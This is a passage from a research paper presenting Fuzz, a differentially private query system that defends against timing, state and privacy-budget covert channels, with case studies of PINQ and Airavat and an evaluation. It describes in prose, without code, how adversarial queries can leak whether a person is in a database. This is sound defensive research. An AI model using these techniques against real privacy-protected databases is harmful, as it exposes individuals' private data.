privacy budget has decreased.

3.5 Case study: PINQ

We have verified that the current PINQ implementation

(version 0.1.1, released 08/18/09, available from [23]) is

vulnerable to all of the above attacks. To demonstrate the

vulnerabilities, we have written three example programs,

each based on the test harness that comes with PINQ.

The original test harness computes several differen-

tially private statistics on a given text file, including the

5
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Constant execution time Variable execution time

Database size public Database size private

ε-differential privacy (ε,δ )-differential privacy

Static enforcement Exact timing analysis
Time bound analysis

Time noise

Dynamic enforcement
Timeouts Timeouts

Rounding up Time noise

Table 1: Four approaches to the timing-channel problem.

number of lines that contain a semicolon. When the

program starts, it first reads the text file and creates a

database whose rows each contain one line of text. Then

it selects all the rows that contain a semicolon, using mi-

croqueries with a boolean predicate p, and finally per-

forms a noisy count on the resulting set of rows.

Our attacks are implemented by changing the predi-

cate p so that it produces some observable side-effects

when the input file contains a certain string s. For the

timing attack, we changed p so that, when invoked on a

line that contains s, p performs an expensive computa-

tion that takes several seconds and cannot be optimized

out. For the state attack, we added a static variable that is

incremented by p when it discovers s, and we write the

(un-noised) value of this variable to the console at the

end. For the budget attack, we added a different static

variable that contains a reference to the database; when s

is found, p computes a noisy count of the number of rows

in the database, which decreases the privacy budget.

The possibility of such attacks is acknowledged in the

PINQ paper [20], and the PINQ implementation does

contain hooks for an expression rewriter (called Purify

in [20]) that is invoked on all user-supplied expressions

and could potentially change or remove code that causes

side-effects. However, such a rewriter is not provided;

indeed, the PINQ downloads page contains an explicit

warning that the code is not hardened or secured and

should not be used ‘in the wild.’

We conjecture that implementing a reliable Purify

will be far from trivial. Avoiding the privacy budget at-

tack will probably be easiest: every function that might

consume privacy budget could be wrapped with a check

that raises an exception if it is called from inside a run-

ning microquery (i.e., with a PINQ operation already on

the call stack); this exception could then be turned into a

default result for the microquery. State attacks are more

difficult: since microqueries in PINQ are arbitrary bits

of C#, it seems the choices are either to execute them on

a modified virtual machine that detects writes to global

state (as Airavat does), or else to create a small domain-

specific language for writing microqueries that avoids

global updates by design (as we do in Fuzz). Address-

ing timing attacks will require deeper changes to PINQ:

the issues and available solutions are precisely the ones

we study in this paper.

3.6 Case study: Airavat

Because Airavat calculates sensitivity and deducts the re-

quired amount from the privacy budget before query ex-

ecution begins, it is inherently safe from privacy budget

attacks. However, Airavat’s mechanism for preventing

state attacks permits a related vulnerability. To prevent

microqueries from communicating via static variables,

Airavat runs microqueries on a modified JVM; if a mi-

croquery ever attempts to modify a static variable, an ex-

ception is thrown and the whole query is marked “not

differentially private.” Unfortunately, the adversary can

now observe whether the system gives them the result at

the end of query execution or says, “Sorry, that’s not dif-

ferentially private.” A better alternative would be to abort

just the microquery, return, a default result, and allow the

remainder of the query to run to completion.

In its published form, Airavat is also vulnerable to tim-

ing attacks. Its authors acknowledge this weakness [26]

but counter that the bandwidth of the channel it creates

is very low. This, we agree, may make it tolerable in

some contexts, e.g., with “mostly trusted” queriers that

might be careless but will not write malicious queries

that intentionally attempt to reveal specific targeted se-

crets. We understand that Airavat may soon be enhanced

to add timeouts to microquery executions [Shmatikov,

personal communication, July 2010]; the implementa-

tion techniques described below should be useful in this

effort.

4 Defending against timing attacks

State and privacy budget attacks can (and must) be ad-

dressed by designing the query language so that they are

impossible. Timing attacks require more work, and this

will be our concern for the remainder of the paper.

4.1 Four approaches to the problem

There are two basic strategies. One is to ensure that a

given query takes very close to the same amount of time

for all possible databases (of a given size—see below),

so that the adversary can learn nothing from observing

the time it takes the query result to arrive. The other is

to treat time as an additional output of the query, and to

limit the amount of information the adversary can gain

using the same mechanisms (sensitivity analysis and ap-

6
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propriate perturbation) that are used for data outputs.2

In either approach, we can either obtain the information

about running time statically (by analyzing the program

before running it) or enforce limits dynamically (e.g.,

by using timeouts). This gives us the four possibilities

shown in Table 1.

The solutions in the right-hand column provide some-

what weaker privacy guarantees than those on the left.

In order to properly “noise” a resource like time, we

must have the ability to both increase and decrease its

consumption. While we can clearly increase execution

time by adding a delay, we cannot easily decrease it. We

can mitigate this problem by adding a default delay T ;

thus, we can add “time noise” ν ≥ −T by delaying for

T +ν at the end of each query. Nevertheless, since noise

distributions guaranteeing differential privacy have un-

bounded support (i.e., P(ν) > 0 for all ν), there is al-

ways a possibility that ν < −T , in which case we can-

not complete the computation. Thus, ε-differential pri-

vacy seems impossible in practice; all we can hope for

is the slightly weaker property of (ε,δ )-differential pri-

vacy [11], where δ is a bound on the maximum additive

(not multiplicative) difference between the probability of

any given query output with and without a particular row

in the input.

On the other hand, in the constant-time solutions (left

column), the size of the database becomes public knowl-

edge, since, except for the most trivial queries, execution

time depends on the size of the database. In practice,

this is probably a reasonable concession. In the case of

the variable-time solutions (right column), the size of the

database does not need to be published.

The static solutions (top row) are attractive in prin-

ciple, but they depend on a static analysis of time

sensitivity—something that has proved challenging ex-

cept for very simple, inexpressive programming lan-

guages. We therefore concentrate on the bottom row.

In this row, we choose one column to explore further:

the “constant execution time” alternative, where we try

to make each microquery take as close as possible to

exactly the same amount of time. (The other column

also deserves exploration; we believe similar mecha-

nisms will be required.)

4.2 Default values

The approach we explore in the rest of this paper is to

dynamically ensure that each microquery m takes the ex-

act same amount of time T . If the microquery takes less

time to execute, we delay it and only return its result af-

ter T . If the microquery has executed for time T without

returning a result, we abort it. However, aborting the en-

2Note that the sensitivity analysis would have to account for inter-

dependencies between a query’s execution time and its output value,

which is far from trivial.

closing macroquery is not an option because this would

leak information to an adversarial querier. Instead, our

approach is to have the microquery return a default value

d in this case.

To avoid privacy leaks through the default value, d

must not itself depend on the contents of the database.

In Fuzz, a static value for d is included with the query.

Also, for reasons that will become clear in Section 4.4,

d should fall within the range of the microquery m.

4.3 Do default values decrease utility?

When the microquery for a row r times out while an-

swering a non-adversarial query, the utility of the query’s

overall result almost inevitably degrades. After all, the

result no longer incorporates the intended contribution

of r or any other row whose microquery has timed out,

but rather uses the default value for each such micro-

query. However, a non-adversarial querier can always

avoid the inclusion of any default values by choosing

a sufficiently high timeout. If the timeouts are chosen

properly, timeouts should never occur while answering

non-adversarial queries. Thus, the only querier who ex-

periences degraded utility is the adversary.

The question, then, becomes how to choose the time-

out values. One possible method is as follows. The

querier is supplied with a reference implementation of

the query processor that additionally outputs the max-

imum processing time Tmax for each microquery. The

querier can then (locally) test his queries on arbitrary

databases of his own construction and thus infer a rea-

sonable time bound. The querier then adds a small safety

margin and uses, say, 1.1 · Tmax as the timeout for his

query. He then submits the query to the actual query

processor, to be run on the private database.

4.4 Do default values create privacy leaks?

At first glance, it may appear that default values are re-

placing one evil with another: they seem to plug the tim-

ing channel at the expense of introducing a data channel.

However, this is not the case: as long as the timeouts are

applied at the microquery level (as opposed to imposing

a timeout on the whole query), differential privacy is pre-

served, for the following reason.

First, recall that Fuzz is designed to ensure that the

completion time of a query depends only on the size of

the database, but not its contents. Since we have assumed

that the size of the database is public, and since our threat

model rules out all the other channels, the only remaining

way in which private information could ‘leak’ is through

the (noised) data that the query returns.

Now, recall that the type system Fuzz implements

is based on the type system from [25]. As described

in [25], this type system ensures that all programs that

type-check are differentially private. This is achieved by

7
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inferring an upper bound on the program’s sensitivity to

small changes in its inputs—specifically, a change to an

individual database row.

Fuzz extends the type system from [25] with micro-

query timeouts on map and split, but, crucially, time-

outs do not increase the sensitivity of these two func-

tions. The reason is that the sensitivity of map and split

depends on the range of values that the microquery can

return. Since the default value is taken from the range

of values that the microquery can already return in the

absence of timeouts, the addition of timeouts does not

increase this range, and thus does not increase the sensi-

tivity either.

Of course, running a query on a given database with

and without timeouts (or with shorter vs. longer time-

outs) can yield very different results. Suppose we have a

database b and a function with microqueries that, without

timeouts, produces an output o when it is run on b. If we

now add a very short microquery timeout, we can easily

cause all the microqueries to abort and return their de-

fault value, and the resulting output for the same database

D can be dramatically different from o. However, this

does not mean that differential privacy is violated. Re-

call from Section 2.1 that the differential privacy guaran-

tee makes a statement about running the same query on

two databases b and b′ that differ in exactly one row r. If

we run a query with timeouts on both b and b′, the only

microquery that could behave differently is the one on

row r. All the other microqueries start in the same state

for both databases, so their behavior will be exactly the

same—they will either time out on both b and b′, or on

neither.

5 The Fuzz system

Next, we present the design of the Fuzz system, which

represents one specific point (the lower left quadrant) in

the solution space from Table 1. This point is a good

first step because it works with existing programming-

language technology and is relatively easy to implement.

5.1 Overview

Fuzz consists of three main components: a simple pro-

gramming language, a type checker, and a predictable

query processor. The programming language rules out

channels based on global state or side effects, simply by

not supporting any primitives that could produce either.

The type checker rules out budget-based channels by

statically checking queries before they are executed and

rejecting any query that cannot be guaranteed to com-

plete with the available balance. Finally, the predictable

query processor closes timing-based channels by ensur-

ing that each microquery terminates after very close to

exactly a specified amount of time. Figure 4 illustrates

our approach.

 













Figure 4: Scenario. Queries are first type-checked by

Fuzz and then executed in predictable time.

5.2 Language and type system

Fuzz queries are written in a simple functional program-

ming language whose functionality is roughly compara-

ble to PINQ. The Fuzz language contains a special type

db for databases, which is not a valid return type of any

query. We say that a primitive is critical if it takes db

as an argument. Our language ensures that critical prim-

itives either return other values of type db (and nothing

else) or add noise to all of their return values. Fuzz de-

termines the correct amount of noise to add by using the

sensitivity analysis and type system from [25].

Fuzz currently supports four critical primitives (Ta-

ble 2): map applies a function f to each row in one

database and returns the results in another database;

split applies a boolean predicate p to each row in a

database and returns two databases, one with all rows r

for which p(r) = TRUE and the other with the rest; count

returns the (noised) number of rows in a database; and

sum returns the (noised) sum of all the rows. sum’s type

ensures that it can only be applied to databases with nu-

meric rows.

5.3 Predictable query processor

To close timing channels, the query processor must en-

sure that all critical primitives take a predictable amount

of time that depends only on the size of the database.

This is trivial for sum and count. However, map and

split involve arbitrary microqueries, and it can be diffi-

cult to statically analyze how much time these will take.

To avoid the need for such an analysis, Fuzz instead

relies on predictable transactions. A predictable trans-

action is a primitive P-TRANS(λ ,a,T,d), where λ is a

function, a an argument, T a timeout, and d a default

value. P-TRANS takes exactly time T , and returns λ (a) if

λ terminates within time T , or d otherwise. Note that an

implementation of P-TRANS may have to (a) add a delay

if λ terminates early, and (b) abort λ slightly before T

expires to ensure that any resources allocated by λ can

be released in time. In Section 6, we describe two ap-

proaches to implementing P-TRANS in practice.

When evaluating map or split, Fuzz invokes P-TRANS

for each microquery, using the specified timeout T and—

in the case of map—the specified default value (split

has an implicit default of TRUE).

8
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Primitive Arguments Return value

map db f T d Database db, function f, timeout T, default value d Database

split db p T Database db, boolean predicate p, timeout T Two databases

count db Database db Noised |db|
sum db Database db Noised ∑i dbi

Table 2: Critical primitives in the Fuzz language

All values of type db internally have representations

of the same size, i.e., they consume the same amount

of memory and (conceptually) have the same number

of rows as the original database. If necessary, they are

padded with dummy rows. For example, if the original

database has 1,000 rows and consumes 1 MB of mem-

ory, the two databases returned by a split both consume

1 MB, and an invocation of map on either of them will

invoke 1,000 microqueries—though of course the results

of microqueries on dummy rows will be discarded.

5.4 How Fuzz protects privacy

We now briefly summarize how Fuzz protects against

covert channels. First, the only observations a querier

can make that depend on the contents of the database are

the completion time of the query and its return value.

This is because of (a) our threat model from Section 3.1,

(b) the fact that the language contains no primitives with

side-effects, such as mutating global state, and (c) the

fact that the type system rules out abnormal termination.

Second, the return value of the query is differentially

private. Since db is not a valid return type and critical

operations return only values of type db or else appropri-

ately noised values (based on the sensitivity that has been

statically inferred [25]), the return value cannot depend

on non-noised values from the database directly. Also,

the language does not contain any primitives for observ-

ing side-effects within the query, such as memory con-

sumption or the current wallclock time. The only time-

related primitives are the timeouts on the microqueries;

these have a sensitivity of 1 because (a) each microquery

operates on only one row from the database at a time, and

(b) microqueries have no access to global state and there-

fore cannot communicate with one another. Thus, if we

add or remove one individual’s data from the database,

this affects only one row, so this can only cause one more

(or less) microquery to time out and add a default result

to the output.

Third, the completion time of a query depends only

on the size of the database (which we assumed to be

public) and data that has already been noised. To see

why, consider that the only operations that have access to

non-noised data are the microqueries, for which Fuzz en-

forces a constant runtime (by aborting or padding them

to their timeout), and that values of type db cannot af-

fect the control flow directly, only indirectly through re-

turn values of critical operations, which are noised. It

is perfectly OK for the completion time of a query to de-

pend on noised data, since such data is safe to release and

could even have been returned to the querier directly.

In summary, Fuzz is designed to ensure that everything

observable by the querier—whether directly through the

data channel or indirectly through the timing channel—

either does not depend on the contents of the database or

has been noised appropriately.

6 Implementation strategies

In this section, we describe the abstract requirements for

implementing predictable transactions, and we propose

two concrete implementation strategies: one for newly

designed runtimes (6.2) and one for retrofitting Fuzz into

an existing runtime (6.3). Naturally, we expect the for-

mer to be more efficient and the latter to be easier to im-

plement.

6.1 Requirements

To implement P-TRANS(λ ,a,T,d), the following three

properties need to hold for the language runtime:

• Isolation: λ (a) can be executed without interfering

with the succeeding computation in any way, apart

from contributing its return value.

• Preemptability: The execution of λ (a) can be

aborted at any time, or at most within some time

bound ∆a;

• Bounded deallocation: At any point during the ex-

ecution of λ (a), there is a upper bound ∆d on the

time needed to deallocate all resources allocated so

far by λ (a).

If these requirements hold, we can implement P-TRANS

by running λ (a) in isolation and setting a timer to T −
∆a−∆d (which must be updated when ∆d changes due to

new allocations). If the timer fires, we can abort λ and

deallocate its resources without overrunning the overall

timeout T . After a final delay to reach T exactly, we

can return either the result of λ (a) if we have it, or d

otherwise.

6.2 White-box approach

If we design a new language runtime from scratch, or

if we are willing to make extensive changes to an exist-

ing runtime, we can achieve isolation and preemptability

9
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by avoiding global variables that could be left in an in-

consistent state when a microquery is aborted, as well

as any termination of the microquery that does not cor-

rectly return the default value. Thus, it becomes possible

to abort a microquery simply by performing a longjmp

or its equivalent.

Regarding bounded deallocation, we expect that the

key resource in most cases will be memory. It is possi-

ble to design the memory allocator in such a way that

the memory allocated by a microquery can be deallo-

cated in constant time. For example, we can divert the

allocator from its usual allocation pool while a micro-

query is in progress, and instead allocate memory from

a special region dedicated to microqueries. If the micro-

query takes arguments and returns results by value rather

than by reference, objects in the main heap cannot ac-

quire references to this region, so it is safe to summarily

deallocate the entire region when the microquery aborts

or terminates.

6.3 Black-box approach

The first strategy assumes a fairly deep understanding of

how all primitive operations of the language are imple-

mented, and how they interact with the allocator and each

other. If we are working with an existing runtime sys-

tem, it may be hard to be sure that the entire rest of the

state of memory outside the microquery allocation region

has been restored to its original state after a microquery

finishes; for example, if we use any off-the-shelf library

functions, they may have local buffers or other global

state through which information can leak.

In this case, we can still ensure isolation and preempt-

ability by leveraging operating system support, e.g., by

farming out microqueries to a separate process, which

can then be destroyed at any time without interfering

with the state of the main runtime. Bounded dealloca-

tion can be achieved if we know an upper bound on the

amount of time the operating system needs to destroy a

process.

7 Proof-of-concept implementation

Next, we describe our proof-of-concept implementation

of Fuzz. Our implementation does not execute Fuzz pro-

grams directly; rather, we implemented a front-end that

accepts Fuzz programs, typechecks them, and then (if

successful) translates them into Caml programs. Thus,

we did not need to implement an entire language run-

time from scratch; it was sufficient to implement a library

with Fuzz-specific primitives like map and split, and to

extend an existing runtime with support for predictable

transactions. We chose Caml because it is similar enough

to Fuzz to make the translation relatively straightforward.

7.1 Background: Caml Light

Our implementation is based on Caml Light [5, 19] ver-

sion 0.75, a stable and lightweight implementation of

Caml. Here, we briefly describe only the aspects of Caml

Light that are relevant for our discussion of Fuzz. For a

detailed description of Caml Light, please see [19].

In Caml Light, Caml code is first compiled into byte-

code for an abstract machine called ZAM (the ZINC ab-

stract machine); this bytecode is then executed on a run-

time that implements the ZAM. Because of this archi-

tecture, the actual ZAM runtime is relatively simple: it

mainly consists of an interpreter for the ZAM instruc-

tions and some code for I/O, memory management, and

garbage collection.

The state of the ZAM consists of a code pointer, a reg-

ister holding the current environment, an accumulator,

two stacks (an argument stack and a return stack) and the

heap. The heap is divided into two zones: a fixed-size

‘young’ zone and a variable-size ‘old’ zone. Most ob-

jects are initially allocated in the young zone; when this

zone fills up, a ‘minor’ garbage collection copies any ob-

jects that remain active into the old zone. This was orig-

inally done to reduce the frequency of ‘major’ garbage

collection runs (since most objects are short-lived, their

space can be reclaimed very quickly), but it is also very

convenient for Fuzz, as we shall see below.

Note that Fuzz uses the ZAM runtime to run only pro-

grams that it has previously translated from Fuzz pro-

grams. Thus, we can safely ignore features of the ZAM

runtime (such as reference cells) that Fuzz does not use.

Our threat model assumes that the adversary can submit

only Fuzz programs, so he or she is unable to access any

of these features.

7.2 Bounded deallocation

When a microquery times out, Fuzz must be able, within

a bounded amount of time, to release all of the resources

the microquery may have allocated. To this end, our im-

plementation performs a minor collection at the begin-

ning of each macroquery, which clears the young zone

of the heap, and it confines any additional memory al-

locations during microqueries to the young zone. Thus,

we can simply discard the entire young zone after each

microquery, which requires only a single instruction. If

the microquery completes normally (without a timeout),

it writes its result into a special fixed-size buffer that is

not part of young zone. If this buffer is empty after the

microquery or contains only a partial result, the macro-

query uses the default value instead.

Discarding the entire young zone is safe because, after

a microquery, there cannot be any outside references to

objects in that zone. Any new memory allocations must

be in the young zone, any new values on the stacks are

discarded as well, and the only objects in the old zone

10
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that could be modified in place are reference cells, which

translated Fuzz programs cannot use. Note that discard-

ing the young zone is faster than a minor collection, so

this particular modification (which is only possible for

Fuzz programs, not for arbitrary Caml programs) actu-

ally results in a speedup.

7.3 Preemptability

Fuzz must be able to preempt a running microquery af-

ter a specified time, with high precision. To this end, our

implementation creates a second thread that continuously

spins on the CPU’s timestamp counter (TSC).3 When a

microquery is started, the interpreter sets a shared vari-

able to the time at which the preemption should occur;

when that point is reached, the second thread sends a sig-

nal to the interpreter thread. To prevent the two threads

from slowing each other down, each is pinned to a dif-

ferent CPU core. If the microquery terminates before the

timeout, it simply spins until the preemption occurs.

Preemptions can occur at arbitrary points in the run-

time code. To avoid inconsistencies, our implementation

checkpoints all mutable state before each microquery;

when the signal is raised, it uses longjmp to return to the

macroquery and then restores the runtime state from the

checkpoint. We exclude from the checkpoint any state

that either is immutable or is discarded anyway – includ-

ing both zones of the heap and any existing values on the

stacks. This leaves just a handful of variables, such as

the ZAM’s stack pointers and the code pointer.

7.4 Isolation

Fuzz must ensure that a microquery cannot interfere with

the rest of the computation in any way, other than con-

tributing its return value. In the previous two sections,

we have already seen that the states of the ZAM runtime

before and after a microquery are logically equivalent,

since any changes (other than the result value) are either

discarded or rolled back. To avoid direct timing inter-

ference between microqueries, Fuzz also pads the run-

time of the preemption code to ∆a + ∆d . However, Fuzz

must also avoid indirect timing interference through the

garbage collector, or from the rest of the system.

Fuzz prevents data-dependent invocations of the

garbage collector by padding all database rows to con-

sume the same amount of memory, and by padding all

database objects to have the same number of rows. For

databases that result from a split, Fuzz adds an appro-

priate number of dummy rows that consume memory and

computation time but do not contribute to the result. Fuzz

also disables the garbage collector during microqueries;

if a microquery attempts to allocate more space than is

3There are many other ways of implementing preemptions, such as

periodic TSC checks in the interpreter loop, or using the CPU’s perfor-

mance counters.

available in the young zone of the heap, Fuzz stops it and

forces it to time out. Thus, from the perspective of the

macroquery (and the garbage collector), memory usage

does not depend on un-noised values from the database.

To prevent page faults and context switches, Fuzz pre-

allocates and pins all of its memory pages, and it as-

signs itself a real-time scheduling priority. In our experi-

ments, this was sufficient to control the timing variations

to within a a few microseconds.

7.5 Implementation effort

Altogether, we added or modified 6,256 lines of code, in-

cluding 4,887 lines of C++ for the typechecker/translator,

1,119 lines of C++ and Caml code for our implemen-

tation of predictable transactions, 186 lines of C++ for

benchmarking support, and 64 lines of Fuzz code for

common library functions. For comparison, the entire

Caml Light codebase consists of 29,984 lines of code.

This supports our claim that Fuzz can be retrofitted into

existing runtimes.

7.6 Limitations

Despite all our precautions, some potential sources of

variability remain. For example, our current implemen-

tation does not freeze or flush the CPU’s caches (since in-

structions like wbinvd are not available from user level),

and it is designed to run on a commodity Linux kernel.

We believe that these sources would be difficult to exploit

because the adversary cannot control the memory lay-

out or force the runtime to invoke system calls; also, any

exploitable variation would have to be large enough to

cause the ∆a + ∆d padding to be overrun. An implemen-

tation with at least some kernel support could remove

some or all of these sources, and thus use a less conser-

vative padding.

8 Evaluation

Our evaluation has two primary goals. First, we need

to demonstrate that Fuzz is practical, in the sense that

it is sufficiently fast and expressive to process realis-

tic queries. Second, we need to demonstrate that our

Fuzz implementation is effective, i.e., that it prevents all

the covert-channel attacks that are possible in our threat

model (Section 3.1).

8.1 Non-adversarial queries

To demonstrate that Fuzz is powerful enough to support

useful queries, we implemented three example queries

that were motivated in prior work [4, 6, 12]. The weblog

query is intended to run on the log of an Apache web

server; it computes a histogram of the number of web

requests that came from specific subnets. The kmeans

query clusters a set of points and returns the three cluster

11
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Name Type LoC Inspired by

kmeans Clustering 119 [4]

census Aggregation 50 [6]

weblog Histogram 45 [12]

Table 3: Examples of non-adversarial Fuzz queries.

centers, and the census query runs on census data and

reports the income differential between men and women.

Table 3 reports the lines of code needed for each query.

The queries are small because programmers only need to

specify the actual data processing; parsing and I/O are

handled by Fuzz. Also, the queries use a small library of

generic primitives, such as lists and a fold operator, that

consists of 64 lines written directly in the Fuzz language.

Note that Fuzz can automatically certify queries as dif-

ferentially private and perform sensitivity analysis dur-

ing typechecking, so even non-experts can easily write

differentially private queries.

8.2 Experimental setup

To evaluate the performance and effectiveness of Fuzz,

we performed experiments using a setup consistent with

our model from Section 3.1. We installed Fuzz on a ded-

icated machine, a Dell Optiplex 780 with a 3.06 Ghz In-

tel Core 2 Duo E7600 processor and 4 GB of memory.

The machine was running a 32-bit Ubuntu Linux 11.04

with a 2.6.38-8 kernel. For our timing measurements,

we used the CPU’s timestamp counter, which is cycle-

accurate. To minimize interference, we disabled CPU

power management and the flush daemon, we kept all

mutable data in a ramdisk and mounted all other file sys-

tems read-only, and we terminated all other processes on

the machine, leaving Fuzz as the only running process

(recall our assumption that the machine is dedicated to

Fuzz). As discussed in Section 7.6, there are sources of

timing variability that we could not disable, such as the

periodic timer interrupt, which takes about 3 µs to han-

dle in this setup, but these cannot be influenced by an

adversary, so they merely add noise to the query comple-

tion time without leaking information. The padding time,

which corresponds to ∆a +∆d , was set to 10 µs; this set-

ting was chosen to be the highest preemption latency we

observed, plus a generous safety margin.

To estimate the overhead of our implementation, we

also prepared a version of the three translated Fuzz

queries that can run on the original Caml Light runtime.

Since the original runtime does not support P-TRANS or

a fixed-size memory representation for databases, this

required small modifications to the Caml code; for ex-

ample, the modified queries invoke microqueries with-

out any timeouts, and they keep the database in ordinary

Caml lists. These modifications do not affect the data

output of the queries. We used the modified Caml code
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Figure 5: Performance for non-adversarial queries.

only for experiments with the original Caml Light run-

time; all other experiments directly use the Caml code

that is output by the Fuzz front-end.

8.3 Macrobenchmarks

To estimate the performance of Fuzz, we ran each of the

example queries from Table 3 over a synthetic dataset

and measured the query completion time. Using syn-

thetic data rather than real private data does not affect

our measurements because, by design, the completion

time does not depend on the contents of the database.

However, the data format was based on realistic data—

specifically, the weblog input was based on an Apache

server log and the census input was based on U.S. census

data from [14]. The synthetic database in each case had

10,000 rows. We set the microquery timeouts for each

map and split by first running the query over example

data with timeouts and padding disabled, measuring the

maximum time taken by any of the map or split’s mi-

croqueries, and then setting the timeout to be 10% above

that. We verified that no timeouts occurred during our

measurements.

Figure 5 shows the query completion time for three

different configurations: the original Caml Light run-

time, the Fuzz runtime with both timeouts and padding

disabled, and the Fuzz runtime with all features en-

abled. As expected, Fuzz takes more time to com-

plete the queries than the original runtime; for our three

queries, the slowdown was between 2.5x (census) and

6.8x (kmeans). However, in absolute terms, the com-

pletion times were not unreasonable: the most expensive

query (kmeans) took 12.7s to complete, which seems low

enough to be practical.

Figure 5 also shows that, with timeouts and padding

disabled, Fuzz’s performance is roughly comparable to

that of the original Caml Light runtime. This is not an

apples-to-apples comparison; for example, the fixed-size

memory representation for databases costs performance,

whereas erasing the young zone after each microquery is

actually faster than garbage-collecting it. Nevertheless,

12
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cessing.

the numbers suggest that most of the overhead comes

from padding and timeouts. Next, we examine this in

more detail.

8.4 Microbenchmarks

To get a better picture of what factors influence the per-

formance of our implementation, we added instrumenta-

tion in such a way that query time can be attributed to

one of the following five phases:

• P1: Computation performed by a microquery;

• P2: Waiting for the preemption when a microquery

completes early;

• P3: Preemption handling, storing results, restoring

checkpoints, and loading the next row;

• P4: Padding the time of the preemption handler to

∆a + ∆d; and

• P5: Computation performed by the macroquery.

Figure 6 shows our results (we omit the time P5 taken

by the macroquery because it was below 0.2% of the to-

tal for all queries). As already suggested by the previous

section, the majority of the time is spent in either the

waiting or the padding phase. This may seem rather con-

servative at first, but recall that the completion time of

even a non-adversarial microquery can vary with the row

it is processing; the timeout needs to be sufficient for the

longest query with high probability. Timeout handling,

deallocation, checkpointing, and storing the results takes

comparatively little time.

Note that the overhead for the kmeans query is con-

siderably higher than for the others. This is because

kmeans repeatedly uses split to partition the database –

specifically, to map each point to the nearest of the three

cluster centers. Since our proof-of-concept implementa-

tion is not keeping track of the fact that the union of the

three partitions contains exactly the N rows in the orig-

inal database, it must conservatively assume that each
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Figure 7: Variation of completion time for the weblog-

delay query.

partition might contain all the N rows. Thus, functions

that operate on the partitions are padded to 3 ·N times

the timeout, when in fact N times would be sufficient.

This could be avoided by extending Fuzz with a suitable

operator, e.g., a GroupBy as in PINQ.

8.5 Adversarial queries

As explained in Section 5.4, Fuzz rules out state attacks

and privacy budget attacks by design, and it prevents tim-

ing attacks by enforcing that each microquery takes pre-

cisely the time specified by its timeout. This last point

cannot be perfectly achieved by a practical implementa-

tion running on real hardware; we need to quantify how

close our implementation comes to this goal.

To this end, we implemented five adversarial queries,

exploiting different variants of the attacks from Section 3

to try to vary the completion time based on whether or

not some specific individual is in the database:

• weblog-delay adds an artificial delay in each micro-

query that finds a match;

• weblog-term adds an artificial delay except when a

microquery finds a match;

• weblog-mem consumes a lot of memory when a

matching individual is found;

• weblog-gc creates a lot of garbage on the heap by

repeatedly allocating and releasing memory;

• census-delay looks for a particular known person in

the database and adds a timing delay if their income

is above a specified threshold.

We ran each query on two versions of the corresponding

database: one that contains the individual (Hit) and an-

other that does not (Miss). To demonstrate the effective-

ness of these attacks on an unprotected system, we first

performed the experiment with Fuzz runtime and then

repeated it with the original Caml Light runtime. This

gives us four configurations per query. We ran 100 trials

13
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Query Attack type
Caml Light runtime (not protected) Fuzz runtime (protected)

Hit Miss |Hit−Miss| Hit Miss |Hit-Miss|

weblog-mem Memory allocation 1.961 s 0.317 s 1.644 s 1.101 s 1.101 s <1 µs

weblog-gc Garbage creation 1.567 s 0.318 s 1.249 s 1.101 s 1.101 s <1 µs

weblog-delay Artificial delay 1.621 s 0.318 s 1.303 s 1.101 s 1.101 s <1 µs

weblog-term Early termination 26.378 s 26.384 s 0.006 s 1.101 s 1.101 s <1 µs

census-delay Artificial delay 2.168 s 0.897 s 1.271 s 2.404 s 2.404 s <1 µs

Table 4: Effect of various attacks without and with predictable transactions. Each adversarial query tries to vary

its completion time based on whether some specific individual is in the database. We show the total macroquery

processing times when the individual is present (hit) and absent (miss), as well as the differences.

for each configuration, after a warm-up phase of two tri-

als to ensure that the Fuzz binary and the database were

in the file system caches.

Figure 7 shows how the completion times varied

across the 100 trials, using the weblog-delay query with

the Miss database as an example. With the original

runtime, the completion times varied by approximately

±150 µs around the median. With the Fuzz runtime,

the completion times are extremely stable: the difference

between maximum and minimum was <1 µs. The re-

sults for the other queries were similar, indicating that

Fuzz’s padding mechanism successfully masks internal

variations between trials. Hence, we only report median

values here.

Table 4 shows our results for the different configura-

tions. We make the following three observations. First,

the attacks are very effective when protections are dis-

abled. For four out of the five queries, the completion

times for the Hit cases were at least one second different

from the completion times for the Miss cases, so an ad-

versarial querier could easily have distinguished between

the two cases and thus learned with certainty whether or

not the individual was in the database. We could have

achieved even higher differences simply by changing the

queries. For weblog-term, the difference was only a

few milliseconds; the reason is that, in order to change

the completion time of the query by one second through

early termination, the adversary would have had to make

each microquery take at least one second, so the overall

query would have taken a conspicuously long time – in

this case, nearly three hours.

Second, the attacks cease to be effective in Fuzz. In

each case, the difference between Hit and Miss is so

small we could not even reliably measure it locally on

the machine (for comparison, handling a timer interrupt

requires about 3 µs, and one hundred of these are trig-

gered every second, limiting the achievable accuracy),

much less across a wide-area network, using the small

number of trials that the privacy budget allows.

Third, the completion times are higher when protec-

tions are enabled. This is consistent with our earlier ob-

servations from Section 8.3.

8.6 Summary

Our results show that Fuzz is effective: it eliminates state

and budget channels by design, and narrows the timing

channel to a point where it ceases to be useful to an ad-

versary. Query completion times remain practical but are

substantially higher than in an unprotected system.

9 Related Work

Differential privacy: There is a considerable body of

work on the theory of differential privacy [8–10] and

on differentially private data analysis [20, 26]. Except

for the papers on Airavat [26] and PINQ [20], none of

these papers discuss covert-channel attacks by adversar-

ial queriers. The PINQ paper briefly mentions certain

security issues, such as exceptions and non-termination;

Airavat discusses timing channels, but, as we have shown

in Section 3.5, its defense is not fully effective. The

present paper complements existing work by providing

a practical defense against covert-channel attacks, which

could be applied to existing systems.

Covert channels: Covert channels have plagued sys-

tems for decades [18, 30], and they are notoriously hard

to avoid in general. Fuzz is a domain-specific solution;

it only addresses differentially private query processing,

but it can give strong assurances in this specific setting.

A variety of defenses against covert channels have

been suggested. Most related to this paper is the work

on external timing channels. The bandwidth of external

timing channels can be reduced, e.g., by adding random

delays [15, 16] or by time quantization [2]. However, to

guarantee differential privacy, the adversary must be pre-

vented from learning even a single bit of private infor-

mation with certainty, so a mere reduction in bandwidth

is not sufficient in our setting. Fuzz avoids this problem

by converting the timing channel into a storage channel,

which in turn is handled by differential privacy.

Preventing timing channels seems hopeless in the gen-

eral case. Language-based designs can eliminate them

for certain types of programs [1], but only at the expense

of severely limiting the expressiveness of the program-

ming language. Shroff and Smith [27] show how to han-

dle more general computations but may have to abort

14
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them, which can result in garbled data and/or leak in-

formation through a storage channel. In the context of a

differentially private query, however, aborting individual

microqueries is safe because the impact on the overall

result is known to be bounded by the sensitivity of the

query. As shown in Section 4.4, returning default val-

ues does not open a new storage channel or increase the

privacy cost of the query (though it may decrease its use-

fulness).

